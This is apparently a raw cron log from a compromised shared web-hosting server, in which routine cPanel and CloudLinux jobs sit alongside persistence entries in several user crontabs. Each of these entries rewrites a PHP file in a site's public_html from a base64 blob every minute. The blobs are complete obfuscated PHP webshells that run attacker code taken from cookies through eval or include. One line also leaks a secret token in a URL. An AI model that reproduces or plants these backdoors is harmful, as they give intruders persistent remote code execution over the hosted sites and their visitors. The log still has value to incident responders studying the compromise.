Mar  2 05:04:01 medusa CROND[6006]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:04:01 medusa CROND[6007]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:04:01 medusa CROND[6009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:04:01 medusa CROND[6010]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:04:01 medusa CROND[6011]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:04:01 medusa CROND[6014]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:04:01 medusa CROND[6013]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:04:01 medusa CROND[6012]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:04:01 medusa CROND[6017]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:04:01 medusa CROND[6018]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 05:04:01 medusa CROND[6020]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:05:01 medusa CROND[27308]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 05:05:01 medusa CROND[27354]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 05:05:02 medusa CROND[27536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:05:02 medusa CROND[27574]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 05:05:02 medusa CROND[27576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:05:02 medusa CROND[27578]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:05:02 medusa CROND[27579]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 05:05:02 medusa CROND[27580]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:05:02 medusa CROND[27581]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 05:05:02 medusa CROND[27584]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 05:05:02 medusa CROND[27585]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 05:05:02 medusa CROND[27589]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 05:05:02 medusa CROND[27591]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:05:02 medusa CROND[27587]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 05:05:02 medusa CROND[27601]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:05:02 medusa CROND[27583]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:05:02 medusa CROND[27606]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:05:02 medusa CROND[27608]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 05:05:02 medusa CROND[27612]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:05:02 medusa CROND[27607]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 05:05:02 medusa CROND[27613]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:05:02 medusa CROND[27620]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 05:05:02 medusa CROND[27622]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:05:02 medusa CROND[27609]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 05:06:01 medusa CROND[12439]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:06:01 medusa CROND[12440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:06:01 medusa CROND[12441]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:06:01 medusa CROND[12442]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:06:01 medusa CROND[12445]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:06:01 medusa CROND[12446]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
